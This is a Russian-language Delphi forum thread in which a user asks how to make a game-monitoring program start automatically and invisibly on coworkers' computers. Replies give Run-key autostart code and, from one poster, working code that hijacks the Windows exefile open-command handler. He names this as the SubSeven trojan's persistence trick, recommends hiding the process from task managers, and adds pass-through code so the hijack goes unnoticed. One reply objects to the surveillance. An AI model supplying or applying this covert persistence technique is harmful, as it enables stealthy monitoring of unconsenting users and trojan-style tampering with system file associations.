Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: Общие вопросы > сделать так чтобы прога запускалось автоматически


Автор: mr_tg 10.5.2008, 12:49
[Delphi7]   
здраствуйте! В кратце я создал маленкую програмку.Програмка смотрит не запустили ли Игру ZUMA или SOlO если запущена выдает сообшение.  Не хочу чтобы во времф работы атвликались на игры. (я не волшебник я только учусь) 
я зделал его видным только через диспетчер задач (друзя подсказали).
я посадил ярлык этой проги на пуск\Программы\Автозагрузка что бы он запускался автоматом. человек который понемает компьютеры сразу находит и удаляет ярлык и всё прога не работает. мне надо както сделать так чтобы она запускалось автоматически и незаметно для глаз. И что бы видно было череч Дисптчер задач.
Если можно присылайте коды и проги на простом уровне  ато не стандартными функцими я не лажу.
(Вопрос модератору Alexeis если тему перемистили как его найти прошлый раз премистили мой вопрос я несмог его найти )
thanks for help smile

Автор: Akella 10.5.2008, 13:37
я не модератор Alexeis, но посоветую использовать поиск  smile , на этом форуме он работает, как ни странно

Добавлено через 46 секунд
используй реестр, поищи в инете автозапуск через реестр

Автор: THandle 10.5.2008, 14:01
Код

uses Registry;

procedure RegistryRegistryRegistry;
begin
  with TRegistry.Create do
    begin
      RootKey := HKEY_LOCAL_MACHINE;
      OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', true);
      WriteString('MySuperProgram', ParamStr(0));
      Free;
    end;
end;


Хотя конечно тоже найдут и убьютsmile

Автор: source777 10.5.2008, 14:56
Я поделюсь секретной инфой, впервые насколько известно летописи данный способ автозагрузки использовал троян SubSeven, если на компе нет проактивной защиты, то даже сверх-опытный пользователь не найдёт...
Код

procedure AutoRun(AppPatch: string); // AppPatch = ParamStr(0)
var Rg: TRegistry;
begin
  if AppPatch[1]<>'"' then AppPatch:='"'+AppPatch+'"';
  Rg:=TRegistry.Create;
    Rg.RootKey:=HKEY_CLASSES_ROOT;
    try
      Rg.OpenKey('exefile\shell\Open\Command',true);
      Rg.WriteString('', AppPatch+' "%1" %*');
      Rg.CloseKey;
    except end;
end;


P.S. И не забудь мьютекс поставить, чтобы твоя программа только 1 раз запускалась...


Цитата(mr_tg @  10.5.2008,  12:49 Найти цитируемый пост)
я зделал его видным только через диспетчер задач (друзя подсказали).
Фигово друзья подсказали, надо чтобы вообще не видно было: ни в диспетчере задач, ни в аналогичных диспетчерах процессов...

Добавлено через 2 минуты и 30 секунд
P.S. Чуть не забыл, программу вызов которой подменяется на твою тоже надо вызвать:
Код

for i:=1 to ParamCount do
    param:=param+ParamStr(i)+' ';
if ParamCount>0 then WinExec(PChar(Param),SW_SHOW);

Автор: Felan 12.5.2008, 09:28
Вообще-то если уж совсем хорошо делать, то надо делать сервис. Тогда в принципе можно запретить отключение этого сервиса. Еще, вроде можно на уровне системы запретить запуск определенных приложений, без всяких программ... но это уже админство.

Но от себя, не в тему, хочу сказать, что нельзя так с работками. Если работник не устраивает, надо менять, а если устраивает, то не надо лишать его маленьких радостей и отдыха, что бы немного отвлечься... Ну это ИМХО.

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)